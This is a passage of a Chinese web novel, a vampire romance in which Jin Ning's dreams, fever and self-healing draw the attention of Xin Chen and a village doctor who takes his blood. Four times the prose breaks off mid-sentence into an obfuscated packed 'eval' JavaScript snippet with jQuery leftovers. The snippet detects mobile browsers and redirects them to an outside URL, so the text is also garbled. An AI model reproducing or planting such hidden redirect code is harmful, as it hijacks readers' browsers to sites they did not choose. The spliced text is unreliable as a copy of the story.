RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14521220|155125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明显的用力呼吸着，没有进一步的动作，最后仿佛最终确认一般，喃喃道:“没有味道，和上次不一样……” 辛宸抿唇，当然不一样。 “真实的感觉更好吗？”辛宸问。 金宁抬眸，眼前的人低垂着眉眼，长长的睫毛很直很长，阳光斜射，在颧骨上方打开小伞一样的阴影。 他想到了辛宸对阳光过敏，会因为皮肤刺痛拧起眉头，会因为紫外线起红红的疹子。 想到他身上清冽的森林一样的味道…… 金宁松开手。 在他清楚地分辨出真假时，这个梦境也就到了终点。 金宁直接站起身，无视船身的晃动。 辛宸抬手想拽他，但是金宁已经走到了另一边，他站在那里笑着说道：“我把那个孩子的故事跟你讲完好吗?” 辛宸坐在那里，点点头。 “因为妈妈不让我提起那个假想的朋友，”金宁说起假想的时候，手抄着口袋苦笑了一下，“我开始画画，我就是从那个时候开始画画的，一开始我妈以为我有了新的兴趣爱好，很开心，送我去上课学习，但是随着我画的越来越好，堆积在床底的画就越来越多……” 辛宸看到过他画画，在梦境里，看到他画人物、风景，开画展。是的，少年时期的金宁曾经也梦想过成为一个享誉世界的画家。 “终于有一天，那些画被妈妈发现了，”金宁站在船头脸上没什么表情，但是那一天，成为画家的梦想被打碎了，“我一直试图画出那个孩子的脸，他的五官、笑容……我妈把那些画翻出来哭着问我，是不是真的这么孤独，是爸爸妈妈不够爱你吗？我们还不够爱你吗？” 辛宸心脏闷闷地疼。 这明明应该是美梦，为什么金宁可以在自己赋予的美梦里，说着痛苦的回忆。 金宁沉默了一会儿，“我觉得我应该懂事一点，忘掉我当时唯一的朋友……其实还挺容易的。” 辛宸想握住他的手，他从梦境中了解了金宁所有的快乐和梦想，也想过潜在在渴望之下的现实或许是相反的。 匮乏的现实，铸造宏伟的梦境。而自足的内心，才会让人满足于现状。 他看不懂金宁现在的状态。 金宁从来没有和任何人分享过这些事情，他很想说出来。 说出来之后，他好像也理顺了一些事情，他还是很想再见到那个孩子，他答应了他很多事情，还没有去做。 他乐观道:“再见，辛宸，我还有别的事情要办……” 金宁想来个后落式入水，去往下一个梦境，但是他没想到辛宸会扑过来，砸得他沉得更快了。 金宁嚎叫：你是傻的吗！这是假的，这一切都是假的…… 可是话还没说完，突然心脏一沉，整个人像是一脚踩空一样惊骇地下沉！ 他死死拉住辛宸的衣领，看着俊美冷白肤色的人不断贴近的脸，五官真的很像。 14. 度假 2秒前的现实中。 徐长夏做了一个噩梦，活了20多年，他没做过这么恐怖的梦。 他在黑暗中逃窜、喘息、恐慌、惊醒。 醒来后几乎立刻飞奔下床，连鞋子都没穿，仿佛那个梦里的怪物还在追逐着他。 他尖叫着冲进金宁的房间，一个两米跨栏，直接跳到了金宁的床上。 床垫被重物砸中，哀嚎了一声，深深陷进去，弹得床上的人和重物本人都蹦跶了一下。 黎逢正坐在窗口桌边刷评论，他犹豫了一下还是把被羊撅了的视频发在了账号上，然后意外的，又意料之中的视频爆了。 耳机里都是徐长夏幸灾乐祸爆笑的声音。 突然门哐当一声被推开，一道黑影闪了进来，面部扭曲着飞到了他身后的床上…… “徐长夏！你疯了吗！”黎逢捂着胸口，咬牙切齿，差点被吓死了，一回头，看到床上两人像玩蹦床一样被弹了起来，差点笑出声，“你给我下来！” 黎逢指着他。 金宁差点从床边掉下来，头磕在了床板上，溺水的梦境和抓着的人都瞬间远去了，他转醒过来，跟着黎逢的手往后看，模糊的视线里印上徐长夏面如死灰的脸，吓得他彻底清醒过来。 “你搞什么？”金宁缓了一下，有气无力地问道。 徐长夏抱着膝盖蹲在床上，整个人像是刚从水里捞出来的一样，说话时声音还在打颤，“做了一个噩梦。” 黎逢：“什么梦把你吓成这样。” 徐长夏回忆了一下，浑身发凉，不知从何说起。 “你先下去，”金宁说完又觉得他实在是可怜，无奈摇头，“算了，我下去吧。” 他说着坐起身，走到黎逢旁边倒水喝。 “你的脚，不疼了？”黎逢问道。 金宁低头看了一眼，脚背上还贴着膏药，但是确实不疼了，甚至不肿了，“哎呦，怎么会不疼！” 他夸张地往沙发那边蹦过去，倒在了沙发上，忍不住心虚。 11岁那次从ICU出来后，他开始发热。 发热的时间既不是随机的，也不是固定的，而是在他每次生病的时候。 因为天生体质弱，他每个月都要生病，所以每个月都会发热，醒来后，所有病痛都会消失。 他自己当然是最先意识到这件事情的，但是父母还在为他一烧两三天的事情着急上火。 于是他配合着父母到处看病，下意识隐藏起自己生病自愈的事实。 一个假想的朋友给妈妈带来的伤害，已经超出了他的想象，如果再加上怪异的身体状况，妈妈可能会觉得自己养了个妖怪。 但是次数多了，纸终究包不住火。 身体好了之后，他慢慢和同班的男同学玩到了一起，也加入了日常的篮球足球运动中。 在一次踢球摔跤骨裂之后，发热自愈的事情，还是暴露了。 妈妈看他时的眼神，从心疼变成了震惊，随即看透了他的心虚，知道他刻意隐瞒，在难以置信后，眼神中又多了恐惧。 两年后，妈妈就又生了个孩子。 金宁盘腿坐好，隐藏起已经消肿的脚，看向还在瑟瑟发抖的徐长夏，问道：“快说吧，什么梦，能把天不怕地不怕的徐长夏吓成这样？” 徐长夏愣了一下，突然抬眸看向对面辛宸住的别墅，正面的玻璃墙面里黑洞洞的，但是他总觉得有双眼睛在看着他们。 —— 那边辛宸确实也醒过来了，听到对面楼里的动静之后，起身走到落地窗边看过去。 他的头很疼，药物作用还没完全过去。 而更让他头疼的是，他好像搬起石头砸了自己的脚。 徐长夏是从噩梦中惊醒的，是他赋予的噩梦。 在村落里，他听到徐长夏乱打听后，很生气。而徐长夏仿佛是送上门的羔羊，直直地瞪着他，毫不畏惧的样子。 那样的时机，他不可能错过…… 一个噩梦而已，带着一点小小的恶意。 现在辛宸后悔了，徐长夏居然被吓成那样，还窜到了金宁的床上，把金宁都吵醒了。 他隔着玻璃看到徐长夏看过来时，很疑惑，这人，是有什么野兽的直觉吗？ —— 金宁这边还在等待着徐长夏回答，顺着他的眼神看过去。 辛宸的房子，一片黑暗，辛宸睡了吗？ 徐长夏缓了好久才开口，“你说那个玻璃，是不是单向的？” 黎逢也回头看了一眼，“就算是，也正常吧。” 徐长夏摇摇头，跟这个神经大条的人没什么好说的，他强行冷静下来，身上的汗水蒸发着，不禁打了个寒噤，不客气地裹了金宁的被子，才说道：“可能是因为山伯把故事说的太生动了，我梦到一个2米高的野兽追着我跑，眼睛闪着红光，跟特么欧美恐怖片似的……” 金宁笑道：“那也不至于吓成这样吧？” “我小时候，被大狼狗追着咬过，你懂吗？心理阴影……”徐长夏把所有可能引发这个梦的事情都想了一遍，说服自己这个梦会产生，是有现实依据的，所以一点都不恐怖。 但是只有他自己知道，裹在毯子里的身体，还在止不住的发抖。 “梦就是梦，”金宁试图安慰徐长夏，梦有时候是很真实的，因为大脑很会欺骗。他也曾深陷过，但是现在不是要讨论梦的真实性，而是要说……“就只是一个梦而已。” 黎逢突然噗嗤笑出声，“你知道吗？徐长夏刚才像个吓破胆的猫一样，直接起飞了哈哈哈哈……” “你闭嘴！”徐长夏炸毛了。 “我下次也要把运动相机随身带着，哇，好遗憾啊，你真的该看看你刚才的样子，”黎逢越想越觉得好笑，不是他没有同情心，徐长夏现在看起来像个落水的猫一样，可怜兮兮的，但是因为一个梦？还真是自己吓自己，所以他笑得更大声了，有种大仇得报的感觉，“不过我倒是信了，要是真遇到什么‘林中小屋’恐怖猎杀事件，你肯定是唯一幸存者，谁跑得过你啊！” 金宁也忍不住笑起来。 徐长夏从被子里钻出来，又缩了回去，认命道：“黎哥，你去帮我拿一下手机。” 黎逢一愣，“真这么怕啊？” 徐长夏不说话。 黎逢摆摆手无奈道:“你等着。” 徐长夏房间的灯都没开，打开灯后黎逢又想笑了，人怎么能慌不择路成这样。 被子枕头全都掉在了地上。 手机在床头柜上，走近拿起后，黎逢发现深色的床单都被汗湿出了一个模糊的人形。 那确实是吓得不轻。 甚至，他回到金宁房间后，徐长夏还缩在被子里，脸色倒是正常了一点。 他把手机递给徐长夏时，从被窝里伸出的手，还在发抖呢。 金宁也注意到了，还真是奇怪啊。 徐长夏很喜欢极限运动，尤其是高空跳伞和徒手攀岩，所以他能怕成这样真的也算是奇观了。 “你要在我房间睡吗？”金宁问道。 徐长夏看了一眼时间，这才晚上9点多钟，这一夜要怎么熬过去啊。 徐长夏：“我可以跟你换房间吗？” 他是不想回那个房间了，想着回去就有点害怕，真是中了邪了。 金宁点头，“当然可以。” 黎逢坐回了桌边，看着新组成的铁三角，笑道：“这下好了，一个心灵创伤，两个身体受伤，三个人都受伤的世界达成了。” “这才第一天啊！”金宁倒在沙发上，抬手垫在脑后，摸到了被他无意中带回来的辛宸的外套。 在树林里，他坐在这件衣服上，扭伤的脚踩在了辛宸的大腿上。 他也需要将自己的梦合理化，踩过，很结实，脚感不错，自然手感更佳。 “咳咳……”他脸上又开始发热了。 “这地方真的怪怪的。”徐长夏感叹。 既然已经换房间了，他也就干脆倒在了床上，把自己缩成了一团。 黎逢撑着下巴看着两位疲惫的旅人，提议道：“如果你们都觉得在这里待着不舒服，我们就换一个地方，至于那些费用，不能退的话，由我承担。” 徐长夏瞪他，“用得着你？” “我意思是，你们自己决定，不用考虑钱的因素。”黎逢解释道。 金宁闭着眼睛，满脑子都是梦境最后落水时的画面，辛宸睁着眼睛，气泡挂在睫毛上，眼神中，带着讶异和……不舍？ 你是不是傻啊！ 那都是假的，你也是假的啊。 哦不是，想着这些梦境的我，才是真傻啊！ “长夏，你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14521221|155125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 决定吧，现在好像是你创伤最严重。”金宁把决定权推给了徐长夏。 如果他说走，那他们就离开，他也不会留恋。 “明天再说吧。”徐长夏决定给自己一点时间缓一缓。 他睡不着，打开了手机，大数据把黎逢的视频推给了他，他忍着笑，做了回大好人，给黎逢买了一个付费推广，顺便买了个营销号推广。 势必让这事传遍全国。 以后黎逢就不是“黎明时相逢”了，而是“那个被羊撅飞的博主”。 金宁拿了手机，也收到了徐长夏的转发，笑了一会儿，想闭上眼睛再睡一会儿。 在梦里，他是有事情要办的，没办完就被惊醒了。 可是现在却怎么也睡不着了。 他起身装作一瘸一拐地去箱子里翻出了手绘本和自动铅笔。 在今天这个梦之前，他已经很久没有想起那个孩子了，曾经描绘过无数次的五官也都模糊不清了。 现在他躺在那里，开始尝试再次画出来。 手里的笔在纸张上划过时刷刷作响，很快就画出了一双眼睛，他看着又觉得像辛宸。 可是怎么可能呢？在来这里之前，他确定自己没有见过辛宸，更别说那个男孩，或许真的只存在于他的梦里。 大概就是头脑混乱，混淆了。 门外响起敲门声时，三人都朝门口看过去，这大晚上的，谁还会过来？ 徐长夏一骨碌蹦起来裹着毯子躲到了黎逢身后，靠着窗口，窗户没上锁，如果是怪物或者怪人，他还可以开窗逃走…… 黎逢无奈。 金宁：“进来。” 推门进来的是辛宸，身后跟着姜医生。 徐长夏松了一口气，拽着黎逢的手放松下来，和黎逢对视了一眼，这家伙还真把医生接来了。 “都在呢？”姜医生看到一屋子三个人愣了一下，他也是刚收拾好，辛宸给他找了衣服，之前的衣服袖口都是血。 “姜医生啊，这么晚怎么过来了？”金宁坐起身，把画画的本子收到了身后。 “来给你看一下，听说你发烧了，现在好一点了吗？”姜医生说着走到沙发前，坐在了金宁旁边，朝金宁伸手。 金宁看了一眼辛宸，脸上发烫，避开了目光。 他把左手伸给姜医生，右手挪到身后，把本子往更深的地方藏。 辛宸一直关注着他，自然也注意到他的小动作，巴掌大小的本子被金宁推进了放在沙发边的外套下。 但是并没有全部藏住，露出了一角，角落里画着一只眼睛。 那一张上画了一堆眼睛。 辛宸当然能认出自己的眼睛，金宁在偷偷画他？ 姜医生给金宁把脉，干枯的手上还缠着纱布，他赶紧把袖口往下拉了拉。 但是欲盖弥彰只会引起更多的怀疑和关注。 金宁看到了，也感觉到了按在手腕上的指尖在颤抖，没有了白天的从容。 不，白天也不是那么从容，一开始或许是从容的，给人一种世外神医的感觉，后来莫名慌乱之后，就开始变得奇奇怪怪了。 姜医生仔细把着脉，没过一会儿抬眸看向金宁。 金宁的眼睛是偏冷质感的琥珀色，此时看姜医生时也带了几丝审视，所以过分凌厉了。 姜医生转移开视线，又把了一会儿才缓缓开口道：“还是和白天一样，血热，但是现在脉搏强劲，淤堵也全部通畅了。” 黎逢一听仔细观察了一下金宁，确实面色都好看了很多，发烧时不正常的红热也消失了。 “那他发热到底是什么原因啊？”徐长夏问道。 “不知道，”姜医生也觉得奇怪，因为体征一切正常，甚至比白天脉象好了很多，“要不我抽点血回去化验一下？” “您还会西医呢？”徐长夏震惊。 “嗯，中西结合嘛，都会点。”姜医生说着从医药箱里拿出静脉采血的设备，那都是辛宸准备的。 金宁知道他验不出什么，也就没拒绝。 消毒后，采血针扎进静脉里，暗红的血液经由连接管，涌进了玻璃储血管中。 辛宸在闻到血液的味道时，垂下了眼眸。 金宁似有所感看向一直站在一旁没说话的人，看到他喉结上下滚动，耳边仿佛又听到了那声暧昧的轻哼…… 15. 度假 金宁快速转移开视线，不能再想了。 他可以分清楚真实和梦境，也必须得分清楚。 不然他会疯。 他在脑子里快速说服自己，只是因为单身久了，人有些躁动。 而且辛宸确实长在了他的审美点上，看着冰冷冷的，实际上外冷内热。 身体里的荷尔蒙正在不顾主人死活，疯狂地合成着，但是理性的光辉还在挣扎—— 然而梦里的事情，不代表什么，他又不是什么普信男，不会因为别人多关心几句就觉得对方对他是那种想法。 退一亿步讲，就算是喜欢…… 又能怎么样呢？他这种状况，连父母都觉得他怪，忍了他10年，最后也说：金宁，你还是出去住吧。 生活在一起的人，又怎么会发现不了呢？ 他很怕针，所以身体崩得紧紧的，不再看辛宸后，就看着针，半指长的针头露出在皮肤外一小节，尖锐地像蚂蚁咬一样的疼痛，让他起了一层鸡皮疙瘩。 忍不住闭上眼睛，空闲的手紧紧抓住膝盖。 “小伙子，好了，你自己按10分钟止血。”姜医生提醒。 金宁愣了一下，没反应过来。 有一只手快速伸过来，按住了他的胳膊，并且坐在了他身后沙发扶手上。 旁边人一过来就是一阵凉凉的气息，太近了。 金宁往旁边缩了一点才敢侧脸看人。 辛宸正倾身往前按着用来止血的棉棒，指尖微凉。 感受到视线时，他也侧目看金宁。 四目相对。 旁边没反应过来的两位吃瓜群众又跟着对视了一眼—— 徐长夏：这一副家属的样子，好亲密啊。 黎逢：你在使什么眼色？ 徐长夏：你快看，金小宁脸红了。 黎逢：你的眼珠子怎么这么灵活！ 金宁继续往后缩，一前一后的位置，好像又被圈进了怀里，而且对方黑沉的眼睛，要将他吸进去似的。“我自己来吧。” 辛宸点头，在金宁接手按住之后，他低头看了一眼腿边的绘本，修长的手指挑了一下衣服，本子就完全露了出来。 牛皮纸的颜色，正中的位置是一双随手描绘，但是很传神的眼睛，而其余空白的地方，则是更随意一些的，各种角度的眼睛。 中间那双更圆一些，带着孩童特有的纯真色彩，周围的就狭长了很多，也更加生动—— 或注视，或敛眸，或者微笑。 简单几笔就勾勒出了一个情绪。 辛宸对金宁绘画水平的了解，只停留在童年的几个梦里，现在看来，金宁虽然没从事相关职业，但是保留了绘画的习惯。 姜医生看辛宸没有离开的意思，轻轻咳嗽了一声，脸上也挤出一丝微笑关切道：“脚有没有好一点？膏药贴了之后，疼痛缓解了吗？” 金宁:“好多了，您的膏药很管用。” “那也就是个活血化瘀的膏药，你那个扭伤范围很广，最起码要两周才会好，还是恢复得好的情况下，”姜医生伸手，反正闲着也是闲着，“我帮你再扎两针吧。” 金宁眼神闪了闪，鼓起了十二分的勇气伸手道：“真的很有用，扎针好得更快吧，我都感觉明天就能走了。” 快扎！ “你这孩子，倒也不用把我捧那么高。”姜医生情绪放松了一些，笑道，“这次扎脚踝和脚背，不扎手了。” 金宁闭眼，应该看不出来吧。 姜医生的膏药和药店的不太一样，是自制的，空白膏贴底下附着着一层捣成泥的草药，褐色的。 所以现在脚背就算全好了，染了色应该也看不出来。 金宁认命地伸出脚，配合一次，明天表演一个医学奇迹。 辛宸不知道他的心思，自觉地往前靠了一点，想着万一他又害怕，还能给他一点安慰。 姜医生拆了一包针，却在给金宁的脚踝消毒时，愣住了。 上午时还肿胀的脚踝此刻已经是细瘦的样子。 他的膏药真这么厉害吗？ 他有这么厉害吗？ 他回忆了一下自己的药方，没有多放什么草药进去啊，活血化瘀而已。 辛宸也发现了异样，原本的淤青是从脚踝一直延伸到脚趾的，一看就是整个侧面的脚背都扭到了，所以才会那么严重。 他看的很仔细，金宁当时整个脚背外侧都肿了。 但是现在除了膏药覆盖的部分，其余位置都很白净，不见一点淤青和肿胀。 细瘦的脚，皮肤很白很透，淡青色的脉络延伸到了脚丫，脚指头都细细长长的，很可爱。 辛宸抿唇，不是想这些的时候。 他看向姜医生都开始疑惑了，这老头难道真是什么神医吗？ 确实，老头年轻的时候是他们家族的供养者，整整十年时间，用血液和忠诚置换资源，去了高端学府，拜了中医名师，不可能只是个脑子不清醒的疯子。 “这怎么可能！”姜医生先惊了。 在金宁没反应过来之前，姜医生快速撕了那个欲盖弥彰的膏药，顺势一把抹掉了脚背上的草药。 他想再确认一下成分，难道是误打误撞加了什么能光速活血化瘀的绝世草药？ 但是他的眼睛却定格在了完全消肿的脚背上，怔了一会儿说道：“你的脚，全都好了？” “没有吧，还疼呢……”金宁拿手挡住。 姜医生眉头紧皱，本就满是皱纹的脸，皱得更厉害了，他伸手想去捏金宁的脚踝，是不是好了，捏一下就知道了。 在金宁缩回脚时，姜医生的手腕被辛宸握住了。 “嘶……”姜医生触电一般地弹开。 辛宸声音冷冷道：“好了，麻烦你再配点膏药吧，效果真的很好，就不要扎针了，他本来就很害怕……” 金宁冒冷汗，也立刻决定就死死咬定是药和针灸的作用。 姜医生的手腕生疼，他明白辛宸是在警告他，不要再追问了。 “诶好。” “时间不早了，我送你回去。”辛宸客气地说着，实际上是在催人。 姜医生快速把东西收好，转身往外走。 他就不该多管闲事，让他做什么就做什么好了，辛宸身边的，能有什么正常人？ “麻烦你跑一趟了！”黎逢跟着感谢。 辛宸起身跟着姜医生往外走，到门口时，他又回头，声音很沉但是很轻柔地对金宁说道：“好好休息，明天如果能走路的话，我可以带你去骑马。” 金宁愣了一下，在梦里已经骑好多次了。 “嗯，路上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14521222|155125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 注意安全。”他下意识关心道。 大半夜还要送人回去，那段路，都不能算路。 辛宸点头，露出一个几乎不可查的微笑。 —— 在人走后，黎逢关上门，还没开口呢，徐长夏先开始揶揄了，“我好像一直在啊，中间漏了啥，你们的状态怎么变了？” 金宁垂眸，心虚，“什么？” “你们啊，怎么突然变得很熟，说话时氛围都不一样了，”徐长夏用胳膊肘戳了戳黎逢，“黎哥，是吧？” 黎逢粗神经:“不是一直都这氛围吗？” 氛围？金宁回忆了一下刚刚辛宸的态度，确实很亲近。 但是辛宸好像确实一直都是这样的。 在树林里遇到时，他们就开始了搂搂抱抱，亲亲我我…… 不，现实里没有亲亲我我。 金宁烦躁得地抓自己的头发，梦境形成了记忆，刻在他的脑子里，和他本身的记忆融合，乱七八糟的，头都要炸了。 黎逢关心道：“是脚还疼吗？” 金宁胡乱点头。 “实在不行吃点止痛药，然后再睡一觉，”黎逢看了一眼时间，他也得睡了，“对了，徐长夏房间那个被子，湿透了，不行你就先去我房间睡吧。” “别走！”徐长夏伸手，认怂道：“我还是很害怕。” “我睡沙发就行了，白天睡多了，不一定睡得着，没事，你回去休息吧，我陪着徐长夏。”金宁对黎逢说，见他不放心，笑道：“我感觉好多了，真的，烧好像也退了。” 黎逢点头，“离开的事情，你们好好考虑一下，我要去睡了，我是真的累了。” 他撑着后腰，哀嚎了一声，忙着照顾别人，差点忘记了自己也是个伤患。 徐长夏还想贫嘴，“八成走不掉，人家还要跟屋主一起骑马呢！” “你再说我就去你黎哥房间睡了。”金宁警告他。 徐长夏双手合十，拜托他别走。 黎逢笑笑抱着电脑离开了房间，走到屋外时，看到楼下辛宸的车刚好离开院子，很快消失在小路上。 这屋子里这么多房间，也不知道非要大半夜送人回去干什么。 黎逢摇摇头。 怪，他当然也觉得怪，但是他并不觉得辛宸是个坏人。 按常理来说，屋主只是出个房子，保证房屋设备正常运转就行。 但是他们的这位屋主啊，在屋子里放鲜花，冰箱里塞满了新鲜的食材，进口的牛排，昂贵的红酒。 黎逢希望金宁能选择离开，毕竟天下没有免费的午餐。 —— 辛宸把姜医生送到了村口。 “回去好好休息，等你身体好了再来找我，答应你的梦境，我会给你，”辛宸看向黑黢黢的村口，已经有村民在探头探脑了，“回去吧。” “那个血样？”姜医生回来时两手空空。 “他的事情，不需要你再过问。”辛宸透过后视镜看了姜医生一眼。 姜医生叹气，他还真是挺好奇的，但是被警告了他还能说什么呢？ 这不是他能得罪的人，虽然他活得很累，但是死了就真的什么都没有了。 他推开门下了车。 辛宸驱车离开，他没有直接回别墅，而是往另一个方向开去。 16. 度假 辛宸又开了将近一小时车到了一处庄园前，简单面部识别后，铁门缓缓打开，他将车开进了园子里。 穿过一大片树篱迷宫，途径玫瑰花园，最终把车停在喷泉边上，辛宸看到门廊灯光下已经站了个人。 灯光暖黄，照在丝滑的睡袍上，晕染出紫色的光。 身形单薄的人，细长的手指上勾着无框眼镜。即使穿着慵懒，也覆盖不住学者气质。 “抱歉，打扰到你休息了，”辛宸往大门内看了一眼，“父亲呢？” “被我锁在卧室了，”辛教授不以为意地摆摆手，“这么晚来有什么事情？” 辛宸的眼神在辛教授的领口上落了半秒，那里有两滴殷红的血迹。 如果不是小时候撞到两人在那里咬脖子，说什么“你永远属于我”，他也不会有样学样去咬别人…… 如果他没有样学样，他不会成为现在这样的人，更不会和金宁有后来的交集。 人类会把一切成长后的问题归结于原生家境原因，辛宸觉得他的问题，也是一样。 他的原生血族家庭实在算不上健康。 辛宸的手揣进口袋里，在装着金宁血液的储血管上摩挲了两下，都已经来了，也没什么好犹豫的了。 “这个，”他把储血管递给辛教授，“是金宁的血液。” 辛教授接过后直接装进了睡袍口袋里，“有什么不对吗？突然要验他的血。” “我也说不清，他好像能自愈。” 辛教授严肃的脸上终于出现了一点讶异，“你已经私下转化他了吗？” “没有，所以才会觉得奇怪。” 辛教授戴上眼镜，又把血液拿出来，迎着光晃了晃，说道：“毕竟你咬过他，被狗咬了还有可能会得狂犬病呢，被吸血鬼咬了……” 其实被咬了多数没有影响，他调研过。 “爸，”辛宸皱眉，让辛教授最快闭嘴的方法就是喊他“爸”，他说这是人类的习惯，只有装腔作势的人才会叫父亲，“你检查一下吧，有什么异样告诉我。” 辛教授抬手想揉儿子的脑袋，被臭小子躲开了，“你这是求人办事的态度吗？” 辛宸低头，“先不要告诉父亲，我不想中间再出什么岔子。” 就算有什么问题，他也会全都解决掉。 “嗯，放心，”辛教授又恢复了插兜的姿势，八卦的心隐藏在清冷的面容之下，“我可以过去看看他吗？” “不行，再过一阵子。”辛宸否决。 现在的情况已经很复杂了，再多两个年轻的父亲，辛宸无法解释。 辛教授看起来也就是30出头，而另一位，在成为吸血鬼时不过26岁的年纪，除了岁月磨砺沧桑的眼神外，外貌看着和辛宸有七分相似。 眼睛瞎一点的，甚至会认为他们是双胞胎。 总不至于说是自己的兄弟。 谎话一堆又一堆，辛教授说过，人类最讨厌的就是欺骗。 —— 金宁闭上眼睛小睡了一会儿，在凌晨时饿醒了。 昨天被徐长夏一闹，他连没吃晚饭的事都忘记了。 “徐长夏，我去楼下吃点东西，你一个人可以吗？” 徐长夏在打游戏，完全睡不着。 要说恐怖的事情，徒手攀岩时差点摔个粉身碎骨，也没有让他后怕很久。 真是怪了，一个梦，到现在他都脊背发凉。 “我扶你去吧，你的脚不是还没好吗？”徐长夏爬起来。 金宁想着如果徐长夏在，他还得装瘸，所以干脆拒绝了，“你如果还是害怕的话，去黎逢房间睡吧，我自己一个人可以的。” 徐长夏坚持要陪，但是走到黑暗的走廊时，看着远处的树林，突然腿软，“那个，我确实还有点困，我看你走得挺好的，我就不陪你了，那个，我去黎哥房间睡觉了。” 他说完还打了个哈欠。 金宁抿唇，微笑，点头，把人送到黎逢的门口，看着他进去之后，才摇摇头离开。 楼下安安静静的，两个老人房间黑黢黢的。一个是耳朵本身就听不见，所以没有听到任何动静，另一个视力不好之后听力极佳，以至于神经衰弱，所以睡觉戴降噪耳塞。 金宁开了灯，走到厨房打开冰箱后，没看到剩饭剩菜，也没有可以速食的，所以他先开了一瓶橙汁喝了几口。 他的烧还没全退，头昏脑热的，被冰箱的冷气拂过，人也舒服了很多，干脆又多站了一会儿。 “你饿了吗？” 背后突然传来人声，吓得金宁差点跪了，回头看到辛宸站在客厅门口，松了一口气。 “嗯，你怎么还没睡？”金宁问道。 辛宸走到他旁边才说道：“在路上耽误了一会儿，刚回来，你坐一会儿吧，我来做。” 金宁愣了一下，想拒绝的，但是又被辛宸自然的态度迷惑到了，所以甚至有点好奇他会做什么。 看起来不食人间烟火的人，难道还会做饭吗？ 辛宸从冰箱拿了食材，顺便拿了一个酒红色的黑卡苹果出来，快速洗了，削了皮递到金宁手上。 “先垫一下，等我20分钟。” 金宁怔住不知道说什么，只能干巴巴地道谢。 怎么会有人削皮都削得赏心悦目？ 厨房是敞开式的，金宁坐在沙发上，啃着苹果。 非常甜，软糯到入口即化。 而在厨房忙碌的身影，看起来有条不紊。 夜晚很安静，除了林间动物的怪叫，就只剩下刀具切菜的声音。 刀具在辛宸的手里锋利得不可思议，切南瓜都轻松丝滑，切出的块状均匀，让做饭都变得艺术起来。 金宁撑着下巴看了一会儿，很快炖锅里的水就开始咕嘟作响，米和南瓜红枣的香味也飘了出来。 辛宸不仅炖了粥，还在另一边蒸锅上蒸了剩下的南瓜。 金宁觉得自己大概吃不了那么多，想让他不要蒸南瓜，却看到辛宸拿了玻璃碗，倒上了炼乳。 他猜不到辛宸要做什么，所以等待了一会儿。 在南瓜蒸好了，辛宸将南瓜放进碗里碾碎，搅匀，裹上芝士开始煎南瓜饼。 金宁就着香味啃完苹果，更饿了。 20分钟后，辛宸把南瓜饼先端了过来，让他先吃，然后又回灶台前把粥装了出来，隔着冷水凉了一下才端过来。 金宁感觉自己好像被宠成了小孩子，心里升起奇怪的感觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14521223|155125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，接过粥后，小口喝着。 不是很甜，温温热热的，饿过头的胃钝钝的，慢慢恢复了知觉。 喝了一半，他抬头看了辛宸一眼，这人坐在他对面，目光都没挪开过。 “你不吃吗？”金宁问。 辛宸摇头，“我不饿。” 金宁拿了南瓜饼，咬了一口，芝士都拉丝了。 他赶忙把芝士塞进嘴里咀嚼，又咸又甜的，口感奇特。“你一个人住，经常做饭吗？” “嗯，特地学过，听说南方人喜欢吃甜口的？” “学做饭吗？” “嗯，如果你想吃辛辣口的，等你脚好了之后，我可以……” 金宁呛了一下，这大晚上的，其实他没醒过来，现在还是在做梦吧！ “咳咳……我没事！”金宁抽了纸掩饰性擦嘴。 辛宸看他咳得脸红，嘴里塞得鼓鼓的，像个囤粮的小仓鼠一样，忍笑，没忍住抬手擦了擦他沾了食物的嘴角。 金宁抿唇，但是好像抿唇的动作不能躲掉对方的手，而且人家的手快速挪开了，于是他下意识伸舌头舔了一下嘴角…… 脸更红了。 埋头喝粥吧！ “还要吃吗？”辛宸看他的粥碗见底，伸手要帮他去添粥。 金宁摇头，虽然这南瓜红枣山药粥很好吃，但是他还是赶紧回去睡觉吧。 睡醒了，脑子才会清醒一些。 金宁语速很快地说道:“我吃好了，碗我来洗，时间不早了，你也回去休息吧。” 辛宸已经快速收了碗碟，“没事，你脚扭伤了，就歇着吧。” 金宁想到自己还在伪装脚伤，只得点头，眼神忍不住跟着辛宸的身影转。 